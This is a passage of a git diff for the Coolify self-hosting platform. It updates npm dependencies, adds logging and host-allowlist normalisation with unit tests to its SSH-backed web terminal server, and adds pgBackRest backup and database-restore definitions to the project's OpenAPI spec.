"dependencies": {
|
||||
"nan": "^2.17.0"
|
||||
"node-addon-api": "^7.1.0"
|
||||
}
|
||||
},
|
||||
"node_modules/proxy-from-env": {
|
||||
|
|
@ -346,9 +350,9 @@
|
|||
"license": "MIT"
|
||||
},
|
||||
"node_modules/ws": {
|
||||
"version": "8.18.1",
|
||||
"resolved": "https://registry.npmjs.org/ws/-/ws-8.18.1.tgz",
|
||||
"integrity": "sha512-RKW2aJZMXeMxVpnZ6bck+RswznaxmzdULiBr6KY7XkTnW8uvt0iT9H5DkHUChXrc+uurzwa0rVI16n/Xzjdz1w==",
|
||||
"version": "8.19.0",
|
||||
"resolved": "https://registry.npmjs.org/ws/-/ws-8.19.0.tgz",
|
||||
"integrity": "sha512-blAT2mjOEIi0ZzruJfIhb3nps74PRWTCz1IjglWEEpQl5XS/UNama6u2/rjFkDDouqr4L67ry+1aGIALViWjDg==",
|
||||
"license": "MIT",
|
||||
"engines": {
|
||||
"node": ">=10.0.0"
|
||||
|
|
|
|||
|
|
@ -2,12 +2,12 @@
|
|||
"private": true,
|
||||
"type": "module",
|
||||
"dependencies": {
|
||||
"@xterm/addon-fit": "0.10.0",
|
||||
"@xterm/xterm": "5.5.0",
|
||||
"cookie": "1.0.2",
|
||||
"axios": "1.12.0",
|
||||
"dotenv": "16.5.0",
|
||||
"node-pty": "1.0.0",
|
||||
"ws": "8.18.1"
|
||||
"@xterm/addon-fit": "0.11.0",
|
||||
"@xterm/xterm": "6.0.0",
|
||||
"cookie": "1.1.1",
|
||||
"axios": "1.13.6",
|
||||
"dotenv": "17.3.1",
|
||||
"node-pty": "1.1.0",
|
||||
"ws": "8.19.0"
|
||||
}
|
||||
}
|
||||
|
|
@ -4,8 +4,33 @@ import pty from 'node-pty';
|
|||
import axios from 'axios';
|
||||
import cookie from 'cookie';
|
||||
import 'dotenv/config';
|
||||
import {
|
||||
extractHereDocContent,
|
||||
extractSshArgs,
|
||||
extractTargetHost,
|
||||
extractTimeout,
|
||||
isAuthorizedTargetHost,
|
||||
} from './terminal-utils.js';
|
||||
|
||||
const userSessions = new Map();
|
||||
const terminalDebugEnabled = ['local', 'development'].includes(
|
||||
String(process.env.APP_ENV || process.env.NODE_ENV || '').toLowerCase()
|
||||
);
|
||||
|
||||
function logTerminal(level, message, context = {}) {
|
||||
if (!terminalDebugEnabled) {
|
||||
return;
|
||||
}
|
||||
|
||||
const formattedMessage = `[TerminalServer] ${message}`;
|
||||
|
||||
if (Object.keys(context).length > 0) {
|
||||
console[level](formattedMessage, context);
|
||||
return;
|
||||
}
|
||||
|
||||
console[level](formattedMessage);
|
||||
}
|
||||
|
||||
const server = http.createServer((req, res) => {
|
||||
if (req.url === '/ready') {
|
||||
|
|
@ -31,9 +56,19 @@ const getSessionCookie = (req) => {
|
|||
|
||||
const verifyClient = async (info, callback) => {
|
||||
const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(info.req);
|
||||
const requestContext = {
|
||||
remoteAddress: info.req.socket?.remoteAddress,
|
||||
origin: info.origin,
|
||||
sessionCookieName,
|
||||
hasXsrfToken: Boolean(xsrfToken),
|
||||
hasLaravelSession: Boolean(laravelSession),
|
||||
};
|
||||
|
||||
logTerminal('log', 'Verifying websocket client.', requestContext);
|
||||
|
||||
// Verify presence of required tokens
|
||||
if (!laravelSession || !xsrfToken) {
|
||||
logTerminal('warn', 'Rejecting websocket client because required auth tokens are missing.', requestContext);
|
||||
return callback(false, 401, 'Unauthorized: Missing required tokens');
|
||||
}
|
||||
|
||||
|
|
@ -47,13 +82,22 @@ const verifyClient = async (info, callback) => {
|
|||
});
|
||||
|
||||
if (response.status === 200) {
|
||||
// Authentication successful
|
||||
logTerminal('log', 'Websocket client authentication succeeded.', requestContext);
|
||||
callback(true);
|
||||
} else {
|
||||
logTerminal('warn', 'Websocket client authentication returned a non-success status.', {
|
||||
...requestContext,
|
||||
status: response.status,
|
||||
});
|
||||
callback(false, 401, 'Unauthorized: Invalid credentials');
|
||||
}
|
||||
} catch (error) {
|
||||
console.error('Authentication error:', error.message);
|
||||
logTerminal('error', 'Websocket client authentication failed.', {
|
||||
...requestContext,
|
||||
error: error.message,
|
||||
responseStatus: error.response?.status,
|
||||
responseData: error.response?.data,
|
||||
});
|
||||
callback(false, 500, 'Internal Server Error');
|
||||
}
|
||||
};
|
||||
|
|
@ -65,28 +109,62 @@ wss.on('connection', async (ws, req) => {
|
|||
const userId = generateUserId();
|
||||
const userSession = { ws, userId, ptyProcess: null, isActive: false, authorizedIPs: [] };
|
||||
const { xsrfToken, laravelSession, sessionCookieName } = getSessionCookie(req);
|
||||
const connectionContext = {
|
||||
userId,
|
||||
remoteAddress: req.socket?.remoteAddress,
|
||||
sessionCookieName,
|
||||
hasXsrfToken: Boolean(xsrfToken),
|
||||
hasLaravelSession: Boolean(laravelSession),
|
||||
};
|
||||
|
||||
// Verify presence of required tokens
|
||||
if (!laravelSession || !xsrfToken) {
|
||||
logTerminal('warn', 'Closing websocket connection because required auth tokens are missing.', connectionContext);
|
||||
ws.close(401, 'Unauthorized: Missing required tokens');
|
||||
return;
|
||||
}
|
||||
const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, {
|
||||
headers: {
|
||||
'Cookie': `${sessionCookieName}=${laravelSession}`,
|
||||
'X-XSRF-TOKEN': xsrfToken
|
||||
},
|
||||
});
|
||||
userSession.authorizedIPs = response.data.ipAddresses || [];
|
||||
|
||||
try {
|
||||
const response = await axios.post(`http://coolify:8080/terminal/auth/ips`, null, {
|
||||
headers: {
|
||||
'Cookie': `${sessionCookieName}=${laravelSession}`,
|
||||
'X-XSRF-TOKEN': xsrfToken
|
||||
},
|
||||
});
|
||||
userSession.authorizedIPs = response.data.ipAddresses || [];
|
||||
logTerminal('log', 'Fetched authorized terminal hosts for websocket session.', {
|
||||
...connectionContext,
|
||||
authorizedIPs: userSession.authorizedIPs,
|
||||
});
|
||||
} catch (error) {
|
||||
logTerminal('error', 'Failed to fetch authorized terminal hosts.', {
|
||||
...connectionContext,
|
||||
error: error.message,
|
||||
responseStatus: error.response?.status,
|
||||
responseData: error.response?.data,
|
||||
});
|
||||
ws.close(1011, 'Failed to fetch terminal authorization data');
|
||||
return;
|
||||
}
|
||||
|
||||
userSessions.set(userId, userSession);
|
||||
logTerminal('log', 'Terminal websocket connection established.', {
|
||||
...connectionContext,
|
||||
authorizedHostCount: userSession.authorizedIPs.length,
|
||||
});
|
||||
|
||||
ws.on('message', (message) => {
|
||||
handleMessage(userSession, message);
|
||||
|
||||
});
|
||||
ws.on('error', (err) => handleError(err, userId));
|
||||
ws.on('close', () => handleClose(userId));
|
||||
|
||||
ws.on('close', (code, reason) => {
|
||||
logTerminal('log', 'Terminal websocket connection closed.', {
|
||||
userId,
|
||||
code,
|
||||
reason: reason?.toString(),
|
||||
});
|
||||
handleClose(userId);
|
||||
});
|
||||
});
|
||||
|
||||
const messageHandlers = {
|
||||
|
|
@ -98,6 +176,7 @@ const messageHandlers = {
|
|||
},
|
||||
pause: (session) => session.ptyProcess.pause(),
|
||||
resume: (session) => session.ptyProcess.resume(),
|
||||
ping: (session) => session.ws.send('pong'),
|
||||
checkActive: (session, data) => {
|
||||
if (data === 'force' && session.isActive) {
|
||||
killPtyProcess(session.userId);
|
||||
|
|
@ -110,12 +189,34 @@ const messageHandlers = {
|
|||
|
||||
function handleMessage(userSession, message) {
|
||||
const parsed = parseMessage(message);
|
||||
if (!parsed) return;
|
||||
if (!parsed) {
|
||||
logTerminal('warn', 'Ignoring websocket message because JSON parsing failed.', {
|
||||
userId: userSession.userId,
|
||||
rawMessage: String(message).slice(0, 500),
|
||||
});
|
||||
return;
|
||||
}
|
||||
|
||||
logTerminal('log', 'Received websocket message.', {
|
||||
userId: userSession.userId,
|
||||
keys: Object.keys(parsed),
|
||||
isActive: userSession.isActive,
|
||||
});
|
||||
|
||||
Object.entries(parsed).forEach(([key, value]) => {
|
||||
const handler = messageHandlers[key];
|
||||
if (handler && (userSession.isActive || key === 'checkActive' || key === 'command')) {
|
||||
if (handler && (userSession.isActive || key === 'checkActive' || key === 'command' || key === 'ping')) {
|
||||
handler(userSession, value);
|
||||
} else if (!handler) {
|
||||
logTerminal('warn', 'Ignoring websocket message with unknown handler key.', {
|
||||
userId: userSession.userId,
|
||||
key,
|
||||
});
|
||||
} else {
|
||||
logTerminal('warn', 'Ignoring websocket message because no PTY session is active yet.', {
|
||||
userId: userSession.userId,
|
||||
key,
|
||||
});
|
||||
}
|
||||
});
|
||||
}
|
||||
|
|
@ -124,7 +225,9 @@ function parseMessage(message) {
|
|||
try {
|
||||
return JSON.parse(message);
|
||||
} catch (e) {
|
||||
console.error('Failed to parse message:', e);
|
||||
logTerminal('error', 'Failed to parse websocket message.', {
|
||||
error: e?.message ?? e,
|
||||
});
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
|
@ -134,6 +237,9 @@ async function handleCommand(ws, command, userId) {
|
|||
if (userSession && userSession.isActive) {
|
||||
const result = await killPtyProcess(userId);
|
||||
if (!result) {
|
||||
logTerminal('warn', 'Rejecting new terminal command because the previous PTY could not be terminated.', {
|
||||
userId,
|
||||
});
|
||||
// if terminal is still active, even after we tried to kill it, dont continue and show error
|
||||
ws.send('unprocessable');
|
||||
return;
|
||||
|
|
@ -147,13 +253,30 @@ async function handleCommand(ws, command, userId) {
|
|||
|
||||
// Extract target host from SSH command
|
||||
const targetHost = extractTargetHost(sshArgs);
|
||||
logTerminal('log', 'Parsed terminal command metadata.', {
|
||||
userId,
|
||||
targetHost,
|
||||
timeout,
|
||||
sshArgs,
|
||||
authorizedIPs: userSession?.authorizedIPs ?? [],
|
||||
});
|
||||
|
||||
if (!targetHost) {
|
||||
logTerminal('warn', 'Rejecting terminal command because no target host could be extracted.', {
|
||||
userId,
|
||||
sshArgs,
|
||||
});
|
||||
ws.send('Invalid SSH command: No target host found');
|
||||
return;
|
||||
}
|
||||
|
||||
// Validate target host against authorized IPs
|
||||
if (!userSession.authorizedIPs.includes(targetHost)) {
|
||||
if (!isAuthorizedTargetHost(targetHost, userSession.authorizedIPs)) {
|
||||
logTerminal('warn', 'Rejecting terminal command because target host is not authorized.', {
|
||||
userId,
|
||||
targetHost,
|
||||
authorizedIPs: userSession.authorizedIPs,
|
||||
});
|
||||
ws.send(`Unauthorized: Target host ${targetHost} not in authorized list`);
|
||||
return;
|
||||
}
|
||||
|
|
@ -169,6 +292,11 @@ async function handleCommand(ws, command, userId) {
|
|||
// NOTE: - Initiates a process within the Terminal container
|
||||
// Establishes an SSH connection to root@coolify with RequestTTY enabled
|
||||
// Executes the 'docker exec' command to connect to a specific container
|
||||
logTerminal('log', 'Spawning PTY process for terminal session.', {
|
||||
userId,
|
||||
targetHost,
|
||||
timeout,
|
||||
});
|
||||
const ptyProcess = pty.spawn('ssh', sshArgs.concat([hereDocContent]), options);
|
||||
|
||||
userSession.ptyProcess = ptyProcess;
|
||||
|
|
@ -182,7 +310,11 @@ async function handleCommand(ws, command, userId) {
|
|||
|
||||
// when parent closes
|
||||
ptyProcess.onExit(({ exitCode, signal }) => {
|
||||
console.error(`Process exited with code ${exitCode} and signal ${signal}`);
|
||||
logTerminal(exitCode === 0 ? 'log' : 'error', 'PTY process exited.', {
|
||||
userId,
|
||||
exitCode,
|
||||
signal,
|
||||
});
|
||||
ws.send('pty-exited');
|
||||
userSession.isActive = false;
|
||||
});
|
||||
|
|
@ -194,28 +326,18 @@ async function handleCommand(ws, command, userId) {
|
|||
}
|
||||
}
|
||||
|
||||
function extractTargetHost(sshArgs) {
|
||||
// Find the argument that matches the pattern user@host
|
||||
const userAtHost = sshArgs.find(arg => {
|
||||
// Skip paths that contain 'storage/app/ssh/keys/'
|
||||
if (arg.includes('storage/app/ssh/keys/')) {
|
||||
return false;
|
||||
}
|
||||
return /^[^@]+@[^@]+$/.test(arg);
|
||||
});
|
||||
if (!userAtHost) return null;
|
||||
|
||||
// Extract host from user@host
|
||||
const host = userAtHost.split('@')[1];
|
||||
return host;
|
||||
}
|
||||
|
||||
async function handleError(err, userId) {
|
||||
console.error('WebSocket error:', err);
|
||||
logTerminal('error', 'WebSocket error.', {
|
||||
userId,
|
||||
error: err?.message ?? err,
|
||||
});
|
||||
await killPtyProcess(userId);
|
||||
}
|
||||
|
||||
async function handleClose(userId) {
|
||||
logTerminal('log', 'Cleaning up terminal websocket session.', {
|
||||
userId,
|
||||
});
|
||||
await killPtyProcess(userId);
|
||||
userSessions.delete(userId);
|
||||
}
|
||||
|
|
@ -231,6 +353,11 @@ async function killPtyProcess(userId) {
|
|||
|
||||
const attemptKill = () => {
|
||||
killAttempts++;
|
||||
logTerminal('log', 'Attempting to terminate PTY process.', {
|
||||
userId,
|
||||
killAttempts,
|
||||
maxAttempts,
|
||||
});
|
||||
|
||||
// session.ptyProcess.kill() wont work here because of https://github.com/moby/moby/issues/9098
|
||||
// patch with https://github.com/moby/moby/issues/9098#issuecomment-189743947
|
||||
|
|
@ -238,6 +365,10 @@ async function killPtyProcess(userId) {
|
|||
|
||||
setTimeout(() => {
|
||||
if (!session.isActive || !session.ptyProcess) {
|
||||
logTerminal('log', 'PTY process terminated successfully.', {
|
||||
userId,
|
||||
killAttempts,
|
||||
});
|
||||
resolve(true);
|
||||
return;
|
||||
}
|
||||
|
|
@ -245,6 +376,10 @@ async function killPtyProcess(userId) {
|
|||
if (killAttempts < maxAttempts) {
|
||||
attemptKill();
|
||||
} else {
|
||||
logTerminal('warn', 'PTY process still active after maximum termination attempts.', {
|
||||
userId,
|
||||
killAttempts,
|
||||
});
|
||||
resolve(false);
|
||||
}
|
||||
}, 500);
|
||||
|
|
@ -258,76 +393,8 @@ function generateUserId() {
|
|||
return Math.random().toString(36).substring(2, 11);
|
||||
}
|
||||
|
||||
function extractTimeout(commandString) {
|
||||
const timeoutMatch = commandString.match(/timeout (\d+)/);
|
||||
return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null;
|
||||
}
|
||||
|
||||
function extractSshArgs(commandString) {
|
||||
const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/);
|
||||
if (!sshCommandMatch) return [];
|
||||
|
||||
const argsString = sshCommandMatch[1];
|
||||
let sshArgs = [];
|
||||
|
||||
// Parse shell arguments respecting quotes
|
||||
let current = '';
|
||||
let inQuotes = false;
|
||||
let quoteChar = '';
|
||||
let i = 0;
|
||||
|
||||
while (i < argsString.length) {
|
||||
const char = argsString[i];
|
||||
const nextChar = argsString[i + 1];
|
||||
|
||||
if (!inQuotes && (char === '"' || char === "'")) {
|
||||
// Starting a quoted section
|
||||
inQuotes = true;
|
||||
quoteChar = char;
|
||||
current += char;
|
||||
} else if (inQuotes && char === quoteChar) {
|
||||
// Ending a quoted section
|
||||
inQuotes = false;
|
||||
current += char;
|
||||
quoteChar = '';
|
||||
} else if (!inQuotes && char === ' ') {
|
||||
// Space outside quotes - end of argument
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
// Regular character
|
||||
current += char;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
// Add final argument if exists
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
}
|
||||
|
||||
// Replace RequestTTY=no with RequestTTY=yes
|
||||
sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg);
|
||||
|
||||
// Add RequestTTY=yes if not present
|
||||
if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) {
|
||||
sshArgs.push('-o', 'RequestTTY=yes');
|
||||
}
|
||||
|
||||
return sshArgs;
|
||||
}
|
||||
|
||||
function extractHereDocContent(commandString) {
|
||||
const delimiterMatch = commandString.match(/<< (\S+)/);
|
||||
const delimiter = delimiterMatch ? delimiterMatch[1] : null;
|
||||
const escapedDelimiter = delimiter.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&');
|
||||
const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`);
|
||||
const hereDocMatch = commandString.match(hereDocRegex);
|
||||
return hereDocMatch ? hereDocMatch[1] : '';
|
||||
}
|
||||
|
||||
server.listen(6002, () => {
|
||||
console.log('Coolify realtime terminal server listening on port 6002. Let the hacking begin!');
|
||||
logTerminal('log', 'Terminal debug logging is enabled.', {
|
||||
terminalDebugEnabled,
|
||||
});
|
||||
});
|
||||
|
|
|
|||
127
docker/coolify-realtime/terminal-utils.js
Normal file
127
docker/coolify-realtime/terminal-utils.js
Normal file
|
|
@ -0,0 +1,127 @@
|
|||
export function extractTimeout(commandString) {
|
||||
const timeoutMatch = commandString.match(/timeout (\d+)/);
|
||||
return timeoutMatch ? parseInt(timeoutMatch[1], 10) : null;
|
||||
}
|
||||
|
||||
function normalizeShellArgument(argument) {
|
||||
if (!argument) {
|
||||
return argument;
|
||||
}
|
||||
|
||||
return argument
|
||||
.replace(/'([^']*)'/g, '$1')
|
||||
.replace(/"([^"]*)"/g, '$1');
|
||||
}
|
||||
|
||||
export function extractSshArgs(commandString) {
|
||||
const sshCommandMatch = commandString.match(/ssh (.+?) 'bash -se'/);
|
||||
if (!sshCommandMatch) return [];
|
||||
|
||||
const argsString = sshCommandMatch[1];
|
||||
let sshArgs = [];
|
||||
|
||||
let current = '';
|
||||
let inQuotes = false;
|
||||
let quoteChar = '';
|
||||
let i = 0;
|
||||
|
||||
while (i < argsString.length) {
|
||||
const char = argsString[i];
|
||||
|
||||
if (!inQuotes && (char === '"' || char === "'")) {
|
||||
inQuotes = true;
|
||||
quoteChar = char;
|
||||
current += char;
|
||||
} else if (inQuotes && char === quoteChar) {
|
||||
inQuotes = false;
|
||||
current += char;
|
||||
quoteChar = '';
|
||||
} else if (!inQuotes && char === ' ') {
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
current = '';
|
||||
}
|
||||
} else {
|
||||
current += char;
|
||||
}
|
||||
i++;
|
||||
}
|
||||
|
||||
if (current.trim()) {
|
||||
sshArgs.push(current.trim());
|
||||
}
|
||||
|
||||
sshArgs = sshArgs.map((arg) => normalizeShellArgument(arg));
|
||||
sshArgs = sshArgs.map(arg => arg === 'RequestTTY=no' ? 'RequestTTY=yes' : arg);
|
||||
|
||||
if (!sshArgs.includes('RequestTTY=yes') && !sshArgs.some(arg => arg.includes('RequestTTY='))) {
|
||||
sshArgs.push('-o', 'RequestTTY=yes');
|
||||
}
|
||||
|
||||
return sshArgs;
|
||||
}
|
||||
|
||||
export function extractHereDocContent(commandString) {
|
||||
const delimiterMatch = commandString.match(/<< (\S+)/);
|
||||
const delimiter = delimiterMatch ? delimiterMatch[1] : null;
|
||||
const escapedDelimiter = delimiter?.slice(1).trim().replace(/[/\-\\^$*+?.()|[\]{}]/g, '\\$&');
|
||||
|
||||
if (!escapedDelimiter) {
|
||||
return '';
|
||||
}
|
||||
|
||||
const hereDocRegex = new RegExp(`<< \\\\${escapedDelimiter}([\\s\\S\\.]*?)${escapedDelimiter}`);
|
||||
const hereDocMatch = commandString.match(hereDocRegex);
|
||||
return hereDocMatch ? hereDocMatch[1] : '';
|
||||
}
|
||||
|
||||
export function normalizeHostForAuthorization(host) {
|
||||
if (!host) {
|
||||
return null;
|
||||
}
|
||||
|
||||
let normalizedHost = host.trim();
|
||||
|
||||
while (
|
||||
normalizedHost.length >= 2 &&
|
||||
((normalizedHost.startsWith("'") && normalizedHost.endsWith("'")) ||
|
||||
(normalizedHost.startsWith('"') && normalizedHost.endsWith('"')))
|
||||
) {
|
||||
normalizedHost = normalizedHost.slice(1, -1).trim();
|
||||
}
|
||||
|
||||
if (normalizedHost.startsWith('[') && normalizedHost.endsWith(']')) {
|
||||
normalizedHost = normalizedHost.slice(1, -1);
|
||||
}
|
||||
|
||||
return normalizedHost.toLowerCase();
|
||||
}
|
||||
|
||||
export function extractTargetHost(sshArgs) {
|
||||
const userAtHost = sshArgs.find(arg => {
|
||||
if (arg.includes('storage/app/ssh/keys/')) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return /^[^@]+@[^@]+$/.test(arg);
|
||||
});
|
||||
|
||||
if (!userAtHost) {
|
||||
return null;
|
||||
}
|
||||
|
||||
const atIndex = userAtHost.indexOf('@');
|
||||
return normalizeHostForAuthorization(userAtHost.slice(atIndex + 1));
|
||||
}
|
||||
|
||||
export function isAuthorizedTargetHost(targetHost, authorizedHosts = []) {
|
||||
const normalizedTargetHost = normalizeHostForAuthorization(targetHost);
|
||||
|
||||
if (!normalizedTargetHost) {
|
||||
return false;
|
||||
}
|
||||
|
||||
return authorizedHosts
|
||||
.map(host => normalizeHostForAuthorization(host))
|
||||
.includes(normalizedTargetHost);
|
||||
}
|
||||
47
docker/coolify-realtime/terminal-utils.test.js
Normal file
47
docker/coolify-realtime/terminal-utils.test.js
Normal file
|
|
@ -0,0 +1,47 @@
|
|||
import test from 'node:test';
|
||||
import assert from 'node:assert/strict';
|
||||
import {
|
||||
extractSshArgs,
|
||||
extractTargetHost,
|
||||
isAuthorizedTargetHost,
|
||||
normalizeHostForAuthorization,
|
||||
} from './terminal-utils.js';
|
||||
|
||||
test('extractTargetHost normalizes quoted IPv4 hosts from generated ssh commands', () => {
|
||||
const sshArgs = extractSshArgs(
|
||||
"timeout 3600 ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o LogLevel=ERROR -o ServerAliveInterval=20 -o ConnectTimeout=10 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc"
|
||||
);
|
||||
|
||||
assert.equal(extractTargetHost(sshArgs), '10.0.0.5');
|
||||
});
|
||||
|
||||
test('extractSshArgs strips shell quotes from port and user host arguments before spawning ssh', () => {
|
||||
const sshArgs = extractSshArgs(
|
||||
"timeout 3600 ssh -p '22' -o StrictHostKeyChecking=no 'root'@'10.0.0.5' 'bash -se' << \\\\$abc\necho hi\nabc"
|
||||
);
|
||||
|
||||
assert.deepEqual(sshArgs.slice(0, 5), ['-p', '22', '-o', 'StrictHostKeyChecking=no', 'root@10.0.0.5']);
|
||||
});
|
||||
|
||||
test('extractSshArgs preserves proxy command as a single normalized ssh option value', () => {
|
||||
const sshArgs = extractSshArgs(
|
||||
"timeout 3600 ssh -o ProxyCommand='cloudflared access ssh --hostname %h' -o StrictHostKeyChecking=no 'root'@'example.com' 'bash -se' << \\\\$abc\necho hi\nabc"
|
||||
);
|
||||
|
||||
assert.equal(sshArgs[1], 'ProxyCommand=cloudflared access ssh --hostname %h');
|
||||
assert.equal(sshArgs[4], 'root@example.com');
|
||||
});
|
||||
|
||||
test('isAuthorizedTargetHost matches normalized hosts against plain allowlist values', () => {
|
||||
assert.equal(isAuthorizedTargetHost("'10.0.0.5'", ['10.0.0.5']), true);
|
||||
assert.equal(isAuthorizedTargetHost('"host.docker.internal"', ['host.docker.internal']), true);
|
||||
});
|
||||
|
||||
test('normalizeHostForAuthorization unwraps bracketed IPv6 hosts', () => {
|
||||
assert.equal(normalizeHostForAuthorization("'[2001:db8::10]'"), '2001:db8::10');
|
||||
assert.equal(isAuthorizedTargetHost("'[2001:db8::10]'", ['2001:db8::10']), true);
|
||||
});
|
||||
|
||||
test('isAuthorizedTargetHost rejects hosts that are not in the allowlist', () => {
|
||||
assert.equal(isAuthorizedTargetHost("'10.0.0.9'", ['10.0.0.5']), false);
|
||||
});
|
||||
287
openapi.json
287
openapi.json
|
|
@ -3976,6 +3976,60 @@
|
|||
"database_backup_retention_max_storage_s3": {
|
||||
"type": "integer",
|
||||
"description": "Max storage (MB) for S3 backups"
|
||||
},
|
||||
"engine": {
|
||||
"type": "string",
|
||||
"description": "Backup engine: native (pg_dump) or pgbackrest (PostgreSQL only)",
|
||||
"enum": [
|
||||
"native",
|
||||
"pgbackrest"
|
||||
],
|
||||
"default": "native"
|
||||
},
|
||||
"pgbackrest_backup_type": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest backup type",
|
||||
"enum": [
|
||||
"full",
|
||||
"diff",
|
||||
"incr"
|
||||
]
|
||||
},
|
||||
"pgbackrest_compress_type": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest compression type",
|
||||
"enum": [
|
||||
"lz4",
|
||||
"gzip",
|
||||
"zstd",
|
||||
"none"
|
||||
]
|
||||
},
|
||||
"pgbackrest_compress_level": {
|
||||
"type": "integer",
|
||||
"description": "pgBackRest compression level (0-9)"
|
||||
},
|
||||
"pgbackrest_log_level": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest log level",
|
||||
"enum": [
|
||||
"off",
|
||||
"error",
|
||||
"warn",
|
||||
"info",
|
||||
"detail",
|
||||
"debug",
|
||||
"trace"
|
||||
]
|
||||
},
|
||||
"pgbackrest_archive_mode": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest archive mode for WAL archiving",
|
||||
"enum": [
|
||||
"standard",
|
||||
"reduced",
|
||||
"minimal"
|
||||
]
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
|
|
@ -4537,6 +4591,59 @@
|
|||
"database_backup_retention_max_storage_s3": {
|
||||
"type": "integer",
|
||||
"description": "Max storage of the backup in S3"
|
||||
},
|
||||
"engine": {
|
||||
"type": "string",
|
||||
"description": "Backup engine: native (pg_dump) or pgbackrest (PostgreSQL only)",
|
||||
"enum": [
|
||||
"native",
|
||||
"pgbackrest"
|
||||
]
|
||||
},
|
||||
"pgbackrest_backup_type": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest backup type",
|
||||
"enum": [
|
||||
"full",
|
||||
"diff",
|
||||
"incr"
|
||||
]
|
||||
},
|
||||
"pgbackrest_compress_type": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest compression type",
|
||||
"enum": [
|
||||
"lz4",
|
||||
"gzip",
|
||||
"zstd",
|
||||
"none"
|
||||
]
|
||||
},
|
||||
"pgbackrest_compress_level": {
|
||||
"type": "integer",
|
||||
"description": "pgBackRest compression level (0-9)"
|
||||
},
|
||||
"pgbackrest_log_level": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest log level",
|
||||
"enum": [
|
||||
"off",
|
||||
"error",
|
||||
"warn",
|
||||
"info",
|
||||
"detail",
|
||||
"debug",
|
||||
"trace"
|
||||
]
|
||||
},
|
||||
"pgbackrest_archive_mode": {
|
||||
"type": "string",
|
||||
"description": "pgBackRest archive mode for WAL archiving",
|
||||
"enum": [
|
||||
"standard",
|
||||
"reduced",
|
||||
"minimal"
|
||||
]
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
|
|
@ -5953,6 +6060,186 @@
|
|||
]
|
||||
}
|
||||
},
|
||||
"\/databases\/{uuid}\/restore": {
|
||||
"post": {
|
||||
"tags": [
|
||||
"Databases"
|
||||
],
|
||||
"summary": "Restore Database",
|
||||
"description": "Restore a PostgreSQL database from a PgBackRest backup.",
|
||||
"operationId": "restore-database",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "uuid",
|
||||
"in": "path",
|
||||
"description": "UUID of the database.",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"format": "uuid"
|
||||
}
|
||||
}
|
||||
],
|
||||
"requestBody": {
|
||||
"required": false,
|
||||
"content": {
|
||||
"application\/json": {
|
||||
"schema": {
|
||||
"properties": {
|
||||
"execution_uuid": {
|
||||
"description": "UUID of backup execution to restore from (optional, uses latest if not specified)",
|
||||
"type": "string"
|
||||
},
|
||||
"target_time": {
|
||||
"description": "ISO 8601 timestamp for point-in-time recovery (optional)",
|
||||
"type": "string"
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "Restore initiated",
|
||||
"content": {
|
||||
"application\/json": {
|
||||
"schema": {
|
||||
"properties": {
|
||||
"message": {
|
||||
"type": "string",
|
||||
"example": "Database restore initiated."
|
||||
},
|
||||
"restore_uuid": {
|
||||
"type": "string",
|
||||
"example": "abc123"
|
||||
}
|
||||
},
|
||||
"type": "object"
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"$ref": "#\/components\/responses\/401"
|
||||
},
|
||||
"400": {
|
||||
"$ref": "#\/components\/responses\/400"
|
||||
},
|
||||
"404": {
|
||||
"$ref": "#\/components\/responses\/404"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"bearerAuth": []
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"\/databases\/{uuid}\/restores": {
|
||||
"get": {
|
||||
"tags": [
|
||||
"Databases"
|
||||
],
|
||||
"summary": "List Restores",
|
||||
"description": "List all restore operations for a database.",
|
||||
"operationId": "list-database-restores",
|
||||
"parameters": [
|
||||
{
|
||||
"name": "uuid",
|
||||
"in": "path",
|
||||
"description": "UUID of the database.",
|
||||
"required": true,
|
||||
"schema": {
|
||||
"type": "string",
|
||||
"format": "uuid"
|
||||
}
|
||||
}
|
||||
],
|
||||
"responses": {
|
||||
"200": {
|
||||
"description": "List of restores",
|
||||
"content": {
|
||||
"application\/json": {
|
||||
"schema": {
|
||||
"type": "array",
|
||||
"items": {
|
||||
"type": "object"
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
},
|
||||
"401": {
|
||||
"$ref": "#\/components\/responses\/401"
|
||||
},
|
||||
"404": {
|
||||
"$ref": "#\/components\/responses\/404"
|
||||
}
|
||||
},
|
||||
"security": [
|
||||
{
|
||||
"bearerAuth": []
|
||||
}
|
||||
]
|
||||
}
|
||||
},
|
||||
"\/databases\/{uuid}\/restores\/{restore_uuid}": {
|
||||
"get": {
|
||||
"tags": [
|
||||
"Databases"
|
||||
],
|
